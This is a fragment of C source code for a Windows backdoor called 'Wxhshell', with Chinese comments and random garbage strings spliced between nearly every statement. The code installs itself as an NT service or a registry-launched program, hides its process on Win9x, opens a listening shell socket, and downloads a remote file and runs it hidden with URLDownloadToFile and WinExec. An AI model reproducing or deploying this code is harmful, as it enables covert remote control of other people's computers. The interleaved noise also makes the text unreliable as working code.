char procName[255]; 3X89mIDr unsigned long cbNeeded; &Ph@uZ\ B-|:l7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Q_AF`" #JYv1F CloseHandle(hProcess); %L}9nc%~eP [?)}0cd0 if(strstr(procName,"services")) return 1; // 以服务启动 6Y)'p
.+g [ahD%UxO5 return 0; // 注册表启动 K SDo)7` } bk}.^m! iE':ur<` // 主模块 #,Fk int StartWxhshell(LPSTR lpCmdLine) f}Eoc>n { i|*(vH&D. SOCKET wsl; XWo:~\ BOOL val=TRUE; %L:e~* int port=0; LtJ$ZE^GB struct sockaddr_in door; G?&0Z++ jAfUz7@ if(wscfg.ws_autoins) Install(); AVGb;)x# {1'XS,2 port=atoi(lpCmdLine); iyc}a6g qm4 Ejc< if(port<=0) port=wscfg.ws_port; ;yqJEj_m( ce.'STm= WSADATA data; (\e,,C%; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W=&\d`><k HtgVD~[] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8TD:~ee setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;iy]mPd door.sin_family = AF_INET; 73A1+2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); l6:k|hrm; door.sin_port = htons(port); OvX z+C, Z+' 7c|a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BR8z%R closesocket(wsl); .<gAa" return 1; xv]P-q0 } ':R)i.TS iSUn}%YFz! if(listen(wsl,2) == INVALID_SOCKET) { /PE3>"|w E closesocket(wsl); o_t2
Z return 1; \kF}E3~+# } eA$9)K1GO Wxhshell(wsl); J~V`"uo WSACleanup(); e57}.pF^ IfF<8~~E return 0; 3:&!Q*i; -8HIsRh } l"*qj#FD ;VSHXU'H // 以NT服务方式启动 z|=l^u6uS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >7!4o9)c { B%6>2S=E DWORD status = 0; 1?]Gl+} DWORD specificError = 0xfffffff; w{?nX6a@p Jt43+] serviceStatus.dwServiceType = SERVICE_WIN32; HB\<nK serviceStatus.dwCurrentState = SERVICE_START_PENDING; (^ZC8)0i( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aAh")B2 serviceStatus.dwWin32ExitCode = 0; c|X.&<lX serviceStatus.dwServiceSpecificExitCode = 0; q@~N?$> serviceStatus.dwCheckPoint = 0; -A(]",*J serviceStatus.dwWaitHint = 0; 1 9$ufod puG$\D-[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $u|p(E:* if (hServiceStatusHandle==0) return; 4Smno%jq <:-|>R". status = GetLastError(); @2v L'6 if (status!=NO_ERROR) sOa`T k { #[vmS serviceStatus.dwCurrentState = SERVICE_STOPPED; r50}j serviceStatus.dwCheckPoint = 0; >k<.bEx(A serviceStatus.dwWaitHint = 0; ?5K.#>{ serviceStatus.dwWin32ExitCode = status; FTI[YR8?Y serviceStatus.dwServiceSpecificExitCode = specificError; nmn$$=~) SetServiceStatus(hServiceStatusHandle, &serviceStatus); w}zl=w{G return; KV k
36;$ } '!]ry< 5u'"m<4 serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Jcs0c
@\ serviceStatus.dwCheckPoint = 0; y&-wb'==p serviceStatus.dwWaitHint = 0; A7>0Pn%D3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wA|m/SZx } V.Dqbv g05:A0X# // 处理NT服务事件,比如:启动、停止 'uGn1|Pvy VOID WINAPI NTServiceHandler(DWORD fdwControl) \9geDX9A { [?r`8K2!, switch(fdwControl) ? ;i O { )TnxsFC case SERVICE_CONTROL_STOP: 0$b)@ serviceStatus.dwWin32ExitCode = 0; qXR>Z=K< serviceStatus.dwCurrentState = SERVICE_STOPPED; 5rRYv~+ serviceStatus.dwCheckPoint = 0; Tm-Nz7U^^ serviceStatus.dwWaitHint = 0; UpL?6) { C|5eV=f)P SetServiceStatus(hServiceStatusHandle, &serviceStatus); R!0O[i } Qv(}*iq] return; 6AKH0t|4 case SERVICE_CONTROL_PAUSE: /zMiy? serviceStatus.dwCurrentState = SERVICE_PAUSED; mk~&>\ break; ~'m
GGH2 case SERVICE_CONTROL_CONTINUE: a)^f`s^aa serviceStatus.dwCurrentState = SERVICE_RUNNING; }i!hzkK# break; F&<si:}KB case SERVICE_CONTROL_INTERROGATE: /B.\ 6 break; ):;
&~ }; >KH.~Jfy SetServiceStatus(hServiceStatusHandle, &serviceStatus); <]eWr:; } S75wtz)e 9F845M // 标准应用程序主函数 kzny4v[y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?wt%e; { @(Wx(3JR?} @G+Hrd6 // 获取操作系统版本 r"d/9 OsIsNt=GetOsVer(); [wWip1OR GetModuleFileName(NULL,ExeFile,MAX_PATH); coT|t
T w&jyijk( // 从命令行安装 =hxj B*") if(strpbrk(lpCmdLine,"iI")) Install(); ;XNe:g.CR +[:"$?J // 下载执行文件 Qz2Yw ` if(wscfg.ws_downexe) { #56}RV1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Eqc&iS~ WinExec(wscfg.ws_filenam,SW_HIDE); TCYjj:/ } Y!c
RzQ ``kiAKMy if(!OsIsNt) { h}k)7 // 如果时win9x,隐藏进程并且设置为注册表启动 lM`M70~ HideProc(); _tTtq/z< StartWxhshell(lpCmdLine); Gl}[1<~o } +kP)T(6 else #|k;nFJ if(StartFromService()) qL.1N~$2 // 以服务方式启动 VC5LxA0{ StartServiceCtrlDispatcher(DispatchTable); j9)P3=s else Fi vgOa // 普通方式启动 6d& dB StartWxhshell(lpCmdLine); 3`uv/O2~i )8VrGg? return 0; U??P }
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